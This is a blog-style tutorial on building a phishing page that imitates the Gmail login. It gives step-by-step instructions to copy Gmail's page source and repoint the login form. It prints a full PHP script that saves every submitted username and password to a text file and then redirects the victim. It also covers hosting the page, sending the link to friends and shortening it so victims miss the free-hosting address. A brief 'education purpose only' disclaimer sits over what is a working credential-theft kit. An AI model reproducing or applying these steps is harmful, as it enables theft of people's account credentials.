Phishing is an art of stealing credential details or password and username of the user by providing him the similar or look-alike page that he uses to enter a password or credential details.
There are a lot of ways of doing Phishing but we will be focusing on the method that is simple and does not require any programming knowledge i.e this method can be used and applied by anyone from freelancer to a programmer.
Earlier in one of my post I have explained the method to make a Phishing Page for Facebook and now I will be telling you how you can make phishing page for Gmail..Although you may think that teaching to make phishing page is a crime but wait I am only teaching you to make phishing page only for Fun and educational purpose..!!!!
Again this tutorial is very easy just like the previous one and doesn’t require any knowledge of programming.All you have to do is just follow the steps
[su_note note_color=”#f38e9c” text_color=”#000000″ radius=”11″]NOTE: This tutorial is for Education Purpose only don’t misuse it,We will not hold any responsibility if it is being misused and please don’t use this tutorial for illegal activities!!
Find out: How to Protect yourself from Phishing[/su_note]
Step 1:
Open gmail.com and right click on the page. You will see many options, just select view source.
Step 2:
Now simply copy the entire code (press CTRL+A and then CTRL+C of your keyboard for copying the entire code). After copying the code open notepad and paste the code by pressing CTRL+V.
Step 3:
Scroll to the top and press CTRL+F of your keyboard. You will get a dialogue box on your screen. Simply type “action=” in the space provided without inverted commas. And hit enter.Replace the link corresponding to action= with post.php see image below,it will make it clearer.
Save the notepad file with a name index.html. If you get a warning then press ok.
Step 4:
Open a new notepad file and simply copy and paste the below code. You can also modify the code as this code redirects the victims to a new page after he enters his password and username.
If you want the user to get redirected to original/genuine gmail.com page after writing his password and user name leave it as it is and if you want to redirect the victim to some new site replace “https://www.gmail.com/” with desired site name in the below code.
<?php header ('Location:https://www.gmail.com/'); $handle = fopen("usernames.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>
Save the file as post.php
Step 5:
Now you have completes making your Phishing page ,open index.html to see your phishing page.
When you will open index.html you will see that your phishing page is not as same as Gmail original/genuine page ,it is missing many images and logo.
So,it’s time to fix them.
All you have to do is open index.html in notepad .Just make a right click on index.html and hover over open with and select notepad.
Press CTRL+F of your keyword to find the following links and replace the following links with corresponding links:
- Firstly Find: //ssl.gstatic.com/accounts/ui/logo_2x.png for fixing Google logo.
- Replace it with: https://i.imgur.com/8aPqK7U.png
- Secondly, Find: //ssl.gstatic.com/accounts/ui/avatar_2x.png for fixing avatar.
- Replace it with: https://i.imgur.com/cADQ5wi.png
- Thirdly Find: //ssl.gstatic.com/accounts/ui/logo_strip_2x.png for fixing logo strip
- And replace it with: https://i.imgur.com/O1V8kOU.png
- Lastly Find: //ssl.gstatic.com/images/icons/ui/common/universal_language_settings-21.png for fixing language icon.
- And replace it with: https://i.imgur.com/2reaCDM.png
Now save your work and again open index.html by double clicking and you will see all the things have been fixed and your page looks exactly like original Gmail page.
Now its time to host your gmail phishing page(both index.html and post.php) in free hosting sites which is again very simple.
Just see the tutorial :Uploading your Phishing Site to Free hosting site!
And start following the steps from step 7.
After uploading the files all you have to do is start spreading your link to your friends and whenever they will click on the link they will be redirected to gmail.com and whenever they will enter the username and password you will also get the username and password of your friend.This finishes the Tutorial of making Phishing page for Gmail…!!
Note: You can shorten your link with link shortening sites so that victim don’t get to know that the link is from a free hosting site. Or you can buy hosting from : Ipage Hosting and get your Phishing Page going…!!
